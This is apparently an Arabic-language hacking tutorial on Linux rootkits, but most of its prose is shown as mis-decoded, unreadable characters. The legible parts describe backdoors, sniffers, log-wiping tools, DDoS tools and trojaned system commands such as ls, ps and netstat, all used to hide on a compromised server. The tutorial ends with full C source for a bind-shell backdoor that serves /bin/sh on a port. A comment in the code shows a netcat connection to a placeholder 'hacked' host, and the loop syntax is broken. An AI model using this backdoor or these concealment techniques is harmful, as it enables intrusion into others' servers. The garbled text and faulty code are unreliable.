++++++++++++++++
ÌãíÚ ÇáÍÞæÞ ãÍÝæÙÉ áÜ
Maxhak2000
15/ 2 /1425 åÜ
++++++++++++++++




ÈÓã Çááå ÇáÑÍãä ÇáÑÍíã

ãÍÊæíÇÊ ÇáÏÑÓ:
----------------------------------------------------------------------
ÇáÞÓã ÇáÃæá:
1- ÇáãÞÏãÉ.
2- ãÇåæ ÇáÑææÊ ßíÊ RootKit ¿
3- ãßæäÇÊ ÇáÑææÊ ßíÊ RootKit
4- ÇáåÇßÑÒ Çæ ÇáÓßÑÈÊ ßíÏÒ Script Kidz ¿
5- ãä ÇáÐí íÓÊÎÏã ÇáÑææÊ ßíÊ ¿¿ æáãÇÐÇ¿
6- ãÇåí áÛÉ ÇáÈÑãÌÉ ÇáÊí ÊßÊÈ ÈåÇ ÇáÑææÊ ßíÊ¿
7- ÃäæÇÚ ÇáÑææÊ ßíÊ¿

ÇáÞÓã ÇáËÇäí:
8- ÇáÈÇßÏæÑ Backdoors
9- ÇÏæÇÊ ÇáÊÌÓÓ Sniffers.
10- ÇááæÌ Logz
11- ÇÏæÇÊ ÇÖÇÝíÉ Ýí ÇáÑææÊ ßíÊ.
12- ãÚáæãÇÊ ÇÖÇÝíÉ Úä Kernel RootKit .
----------------------------------------------------------------------

********************
1- ÇáãÞÏãÉ:
---------------
åáÇ Èíßã íÇ ÔÈÇÈ Ýí ÏÑÓ ÌÏíÏ ãä ÏÑæÓí.. æÇáí ÇÓÇá Çááå ÇäåÇ Êßæä äÇÝÚÉ áßã æÊÚíäßã Úáì äÕÑÉ ÇáÎíÑ Çä ÔÇÁ Çááå ..
ãæÖæÚ Çáíæã ãä ÇáãæÇÖíÚ ÇáÊí áã ÊÇÎÐ ÍÞåÇ Ýí ÇáÔÑæÍ ÇáÚÑÈíÉ.. ÍÓÈ ãÇ ÔÝÊ.. ÚÔÇä ßÏÇ ÞáÊ Îáíäí ÇßÊÈ ÏÑÓ ááÔÈÇÈ Úä åÐÇ ÇáãæÖæÚ æÇáí åæ ÇáÑææÊ ßíÊ RootKit.
ØÈÚÇ ãÇÑÇÍ äÏÎá Ýí ÊÝÇÕíá ßËíÑå ãËá ÊÇÑíÎ ÕÏæÑå æÇæá äæÚ áÇäå ãÇÑÇÍ ÊÝíÏäÇ ¡ áßä ÑÇÍ ÇÔÑÍ ÇÔíÇÁ Ãåã æÇä ÔÇÁ Çááå ÇáÌãíÚ íÓÊÝíÏ.

2- ãÇåæ ÇáÑææÊ ßíÊ RootKit¿
-------------------------------------
äÓãÚ ßËíÑÇ Úä ÇáÑææÊ ßíÊ æÃßíÏ ÈÚÖäÇ ÞÑà Ýí ãæÇÖíÚ æáÞÇ ßáãÉ ÇáÑææÊ ßíÊ ãßÊæÈå æáÇ ÚÑÝ ÇíÔ åíÇ æáÇ ßáÝ Úáì äÝÓå ÈÇáÈÍË Úä ãÚäÇåÇ. æÇÎÓ Ôí Çäß ÊÞÑà Ýí ãæÖæÚ æáÇ ÊÚÑÝ
ÇíÔ ãÛÒÇå...
ÑÇÍ ÇÎÊÕÑ ßáãÉ RootKit Çáì RK ÚÔÇä äÓåá ÇáÚãáíÉ.

ÇáÑææÊ ßíÊ"RootKit":
åæ ÚÈÇÑÉ Úä ÈÑäÇãÌ íÃÊí ÈÇÔßÇá ãÎÊáÝÉ ææÙÇÆÝ ãÊÚÏÏÉ. íÓãÍ ááåÇßÑÒ ÇÐÇ ÇÎÊÑÞ ÓíÑÝÑ æÇÎÐ ÑææÊ Ãä íÍÇÝÙ áå Úáì ÇáÑææÊ æÚáì ÃÔíÇÁ ÇÎÑì..
ßáãÉ Root ÊÚäí ÇáãÓÄæá Úä ÇáäÙÇã Ýí áíäßÓ ãËá ÇáÜAdministratr Çáí Ýí ÇáæíäÏæÒ ¡ æßáãÉ Kit ÊÚäí ãÌãæÚÉ ãä ÇáÃÏæÇÊ ãÌãÚÉ ãÚ ÈÚÖåÇ.
ØÈÚÇ ÇáÜRK íÌÚáß ãÌåæá Ýí ÇáÓíÑÝÑ æíÍÇÝÙ Úáì ÈÞÇÆß ßÜRoot æßãÇä íãßäß ãä ÇáÊÍßã ÇáßÇãá Ýí ÇáÓíÑÝÑ ÈÏæä ãÇ íÚÑÝ ÕÇÍÈ ÇáÓíÑÝÑ...æÇáßËíÑ ãä ÇáæÙÇÆÝ Çáí ÑÇÍ äÔÑÍåÇ Ýí ÇáÃÞÓÇã ÇáÌÇíÉ Çä ÔÇÁ Çááå.
ãáÇÍÙÉ: ãä ÇáÈÏíåí Çäæ ãÇÑÇÍ ÊÞÏÑ ÊÓÊÚãá ÇáÑææÊ ßíÊ RK ÇáÇ ÇÐÇ ßäÊ Root Úáì ÇáÓíÑÝÑ.. Òí ãÇåæ ãæÌæÏ Ýí ÇÛáÈ ÇäæÇÚ ÇáÜRK.


3- ãßæäÇÊ ÇáÑææÊ ßíÊ RootKit:
----------------------------------------
íÊßæä ÇáÜRK ãä ÇáÃÔíÇÁ ÇáÊÇáíÉ [ ÑÇÍ äÔÑÍåÇ ÈÇáÊÝÕíá Çä ÔÇÁ Çááå]:
1-ÇáÈÇßÏæÑ Backdoorz : ÈÃäæÇÚå ÇáãÎÊáÝÉ ãËá "telnetd" ¡ "Login Backdor".
2-ÇáÜ Sniffers:ÇáÊÌÓÓ Úáì ÎÏãÇÊ ÇáÔÈßÉ ãËá "FTP ¡ TELNET".
3-ÇÏæÇÊ ÇáÜLogz : ÊÞæã ÈÇáÊÚÏíá æÇáãÓÍ Ýí ÇááæÌ ÍÊì áÇ ÊäßÔÝ.
4-ÇÏæÇÊ DDOS : Çáí íÓãæåÇ ÈÇáÚÑÈí " åÌæã ÍÌÈ ÇáÎÏãÉ" ÔÈíåå ÈÇáÜPing Ýí ÇáÏæÓ áßäåÇ ÇÞæì ãä Çáí Ýí ÇáæíäÏæÒ ÈßËíííÑ.
5-IRC/Bots.
6-ÇáÓßÑÈÊÇÊ ÇáÎÈíËÉ : Òí ÈÚÖ ÇäæÇÚ ÇáÃßÓÈáæíÊÇÊ æÇáÓßÑÈÊÇÊ Çáí ÊÎÑÈ Ýí ÇáäÙÇã.


4- ÇáåÇßÑÒ Hackers æÇáÓßÑÈÊ ßíÏ Script kidz ¿¿
---------------------------------------------
ÇáÓÄÇá ÏÍíä åæÇ åá ÇáÑææÊ ßíÊ RK ÇÏÇÉ ááåÇßÑ Çã ááÓßÑÈÊ ßíÏÒ ¿
ãããããã ... ÇáÜScript kids ãä ÇÓãåã ãÇ íÚÑÝæ Ôí ÚäÏåã Ãí Ôí Úáì ÇááíäßÓ åæ ßãÈÇíá æÈÚÏíä ÊÔÛíá æÎáÇÕ íÚäí íÞæáæ Çäæ ÇáÜRK ÇÏÇÉ Óåáå ãÇ íÍÊÇÌ áåÇ æåã ããßä ãÇ íÚÑÝæåÇ æÇÐÇ ÚÑÝæåÇ ãÇÑÇÍ íÞÏÑæ íÊÚÇãáæ ãÚÇåÇ ÈÚßÓ ÇáåÇßÑ ÇáãÊãßä ãäåÇ æåÐÇ åæ ÇáÝÑÞ Èíä ÇáÃËäíä. ØÈÚÇ Ýí ÇäæÇÚ ãä ÇáÜRK ÊÍÊÇÌ ãÚÑÝÉ ÈÈÚÖ áÛÇÊ ÇáÈÑãÌÉ ãËá áÛÉ C ¡ æÊÍÊÇÌ Ýí ÈÚÖåÇ Çäß ÊÚÑÝ ÈíÆÉ ÇáäÙÇã æßíÝ ÊÊÚÇãá ãÚÇå æÝí ÇáÈÚÖ æåæ ÇáÃÕÚÈ Çáí íÊÚÇãá ãÚ ÇáßíÑäá... íÚäí ÇáÜScript kids Çááå íÎáÝ Úáíåã Ýí ÇßËÑ ÇáÃÍíÇä ÊáÇÞíåã íäÒáæ Ôí Úáì ÇáÓíÑÝÑ æãÇ íÚÑÝæ íÊÎÏãæå æíÞæãæ íÍÐÝæ æÚáì åÐÇ ÇáÍÇá äÒá æÇÍÐÝ ¡ íÌí ÇáÃÏãä íÔæÝ Çäæ Ýí ÚãáíÇÊ ÍÐÝ ßËíÑå æíßÊÔÝ Çäæ æÇÍÏ ÇåÈá ßÇä íÍÇæá íÎÊÑÞ ÇáÓíÑÝÑ æíØÑÏå ÈÑå åæ æÚÝÔå ..

5- ãä íÓÊÎÏã ÇáÐí íÓÊÎÏã ÇáÑææÊ ßíÊ RK ¿ æáãÇÐÇ¿
------------------------------------------------------
ÚÑÝäÇ Ýí ÇáÞÓã Çáí ÞÈá åÏÇ ãíä Çáí íÓÊÎÏãåÇ æÞáäÇ ÇäåÇ ÊÓÊÎÏã ãä ÞÈá ßá ãä ÇáåÇßÑÒHackers æ Script kidz..
æÒí ãÇ ÚÑÝäÇ ßãÇä Çäæ ÇáÑææÊ ÇáßíÊ RK ÊÓÊÎÏã áÇÛÑÇÖ ßËíÑå ãäåÇ ÊÎáíß ãÓíØÑ Úáì ÇáÓíÑÝÑ ßÜR00t æßãÇä Çäß ÊÈÞì ãÌåæá æÊÓÇÚÏß Úáì ÇáÊÎÝí ÈÇáÅÖÇÝÉ Çáì ÇáÃÚãÇá ÇáÊÎÑíÈíÉ Çáí ããßä ÊÓæíåÇ...

6- ãÇåí áÛÉ ÇáÈÑãÌÉ ÇáÊí ÊßÊÈ ÈåÇ ÇáÑææÊ ßíÊ RK¿
-----------------------------------------------------
ÇßËÑ ÇäæÇÚ ÇáÜRK ãßÊæÈÉ ÈáÛÉ ÇáÜC Çæ ÇáÃÓãÈáí ááÜSHELL CODE.
ØÈÚÇ ãíÒÉ ßÊÇÈÊåÇ ÈáÛÉ ÇáÜC Çäß ÊÞÏÑ ÊÍÑÑ ÇáßæÏ æÊÚÏá Ýíå Òí ãÇ ÊÈÛì æÚáì ÍÓÈ ãÊØáÈÇÊß.

7- ÃäæÇÚ ÇáÑææÊ ßíÊ RootKit.
---------------------------------
åäÇß äæÚÇä ãä ÇáÑææÊ ßíÊ RK æåí :
1- Application rootkits – Çáí åæ ãÕãã ÎÕíÕÇ ááÈÑÇãÌ. ãËá ("ls ¡ kill ").

2- Kernel rootkits – ãÕããå ááßíÑäá æÇáÊÚÇãá ãÚå.

äÇÎÐ ÇáäæÚ ÇáÃæá:
Application rootkits : åÐÇ ÇáäæÚ ããßä äÚÊÈÑå ÃÓåá ãä ÇáäæÚ ÇáËÇäí æÇÞá ÊÚÞíÏðÇ ãäå ¡ ÍíË Çä æÙíÝÊå åí ÇáÊÚÏíá Ýí ÈÑÇãÌ ÇáÓíÑÝÑ æÇááÚÈ æÇáÊÛíÑ Ýí ÇßæÇÏåÇ ÚÔÇä ãÇ ÊÞÑà ÇáÃÔíÇÁ ÕÍ æåÐÇ íãäÍ ÇáÔÎÕ Çáí äÒáåÇ ÊÎÝí æÓÑíÉ äæÚÇ ãÇ.
ÞÇÆãÉ ÈÈÚÖ ÇáÈÑÇãÌ ÇáÊí íÊã ÇáÊÚÏíá ÝíåÇ:

::" ls " "find" "du" :- Çæá ãÇäÔæÝ ÇáÃæÇãÑ åÐí ÑÇÍ äÚÑÝ ÇíÔ Çáí ÑÇÍ íÕíÑ ÇäåÇ ãÇÑÇÍ ÊÚÑÖ ÇáãÌáÏÇÊ æÇáãáÝÇÊ ÇáÕÍíÍÉ ÈÃÍÌÇãåÇ æÇáí ÝíåÇ .

::"top" "ps" "pidof" :- ÑÇÍ ÊÊÚÏá ãÊÚÑÖ ãÚáæãÇÊ ÎÇØÆÉ ØÈÚÇ ãä ÇáÃæÇãÑ äÚÑÝ Çäæ ãÇÑÇÍ ÊÔæÝ ÇáÈÑÇãÌ Çáí ÔÛÇáå Ýí ÇáÎáÝíÉ æßãÇä ãÇÑÇÍ ÊÔæÝ ÇáãÓÇÍÉ Çáí ãÓÊÎÏãÉ ãä ÇáÜCPU Úáì ÇáÓíÑÝÑ æåÐÇ íÔßá ÎØÑ Úáì ÕÇÍÈ ÇáÓíÑÝÑ.

::"netstat" :- ãä ÇáãÚÑæÝ Ãäæ åÐÇ ÇáÃãÑ íÞæã ÈÚÑÖ ÇáÈÑæÊÇÊ Ýí ÇáÌåÇÒ æÇááÃÌåÒÉ Çáí ãÊÕáÉ ÈÇáÔÈßÉ æÇáÎÏãÇÊ áßä áãä ÊäÒá ÇáÑææÊ ßíÊ Úáì ÇáÓíÑÝÑ ÑÇÍ ÊÚÏá ÝíåÇ æÎáÝ Çááå Úáì ÇáÃãÑ Çáãåã ÌÏÇ. ãÇÑÇÍ íÚÑÖ ÇáÈæÑÊÇÊ ÇáÕÍíÍÉ æßãÇä ÑÇÍ íÎÝí ÇáÈÇß ÏæÑÇÊ Çáí ãÊÕáÉ æÈæÑÊÇÊåÇ .

::"killall":- æÙíÝÉ ÇáÃãÑ åÐÇ åæ ÞÊá ÚãáíÇÊ æÇíÞÇÝåÇ áßä ÇáÑææÊ ßíÊ áãä íäÒá ÑÇÍ íÌÚáåÇ ÊÚãá ÇáÚßÓ ÊãÇãÇ æíãäÚåÇ ãä ÊäÝíÐ ãåÇãåÇ.

::"crontap" :- ÇáÎÇÕ ÈÇáãÌÏæáÉ æãåÇã ÇáäÙÇã ÇáÏæÑíÉ.

++++++++
æÇáÇä äÊßáã Úä ÇáäæÚ ÇáÊÇäí:
Kernel rootkit : åÐÇ ÇáäæÚ ÕÚÈ æÞæí ÌÏÇ æÕÚÈ ÇáÃßÊÔÇÝ áíÔ¿¿
áÇäå íÏÎá Ýí ÇáßíÑäá æíÊÚÇãá ãÚ ÇáßíÑäá...
æÑÇÍ äÊßáã Úä åÐÇ ÇáäæÚ ÈÔíÁ ãä ÇáÊÝÕíá Ýí ÇáÃÞÓÇã ÇáÌÇíÉ...


8- ÇáÈÇßÏæÑ Backdoor:
-------------------------
ÇßËÑ ÇäæÇÚ ÇáÜRK íßæä ãÚåÇ ÈÇßÏæÑ æíÎÊáÝ äæÚå æÞæÊå ÍÓÈ Çáí ãÓæíäå..
ÈÇáäÓÈÉ áåÐÇ ÇáãæÖæÚ Úä ÇáÈÇß ÏæÑ ãÇÑÇÍ ÇØæá Ýíå áÇäå ÇäÇ ÔÑÍÊ ÏÑÓ Úä åÐÇ ÇáÌÇäÈ ÞÈá

http://www.kg11.com/vb/showthread.p...p;threadid=3463



æäÔØÈ Úáì åÐÇ ÇáÞÓã ÈæÇÍÏ ãä ÇáÈÇßÏæÑÇÊ ÑÇÍ ÇÍØå æÇäÊæ ÇßÊÔæÝ ãä Ãí äæÚ åÐÇ ÇáÈÇßÏæÑ:

--------------ãä åäÇ----------------

/* backdoor.c - basic unix tcp backdoor.
*
* This is a basic UNIX TCP backdoor. /bin/sh is binded to the port of your
* choice. Access the shell with telnet or netcat:
*
* root# nc -v hackedhost.com 1337
*
* I do not take responsibility for this code.
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define BACKLOG 5
#define SHELL "/bin/sh"

void usage();

int main(int argc, char *argv[]) {
if(argc <2) {
usage(argv[0]);
}

int sock, csock;
struct sockaddr_in client;
struct sockaddr_in mine;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!\n"); exit(-1);
}

mine.sin_family = AF_INET;
mine.sin_port = htons(atoi(argv[1]));
mine.sin_addr.s_addr = INADDR_ANY;
if(bind(sock, (struct sockaddr *)&mine, sizeof(struct sockaddr)) == -1) {
printf("Could not bind socket!\n");
exit(-1);
}

if(listen(sock, BACKLOG) == -1) {
printf("Could not listen on socket!\n");
exit(-1);
}

printf("Listening for connections on port %s!\n", argv[1]);

while {
int sin_size;
sin_size = sizeof(struct sockaddr);
csock = accept(sock, (struct sockaddr *)&client, &sin_size);
dup2(csock, 0);
dup2(csock, 1);
dup2(csock, 2);
execl("/bin/sh","/bin/sh",(char *)0);
close(csock);
}
}

void usage(char *progname[]) {
printf("Usage: %s <port>\n", progname);
exit(-1);
}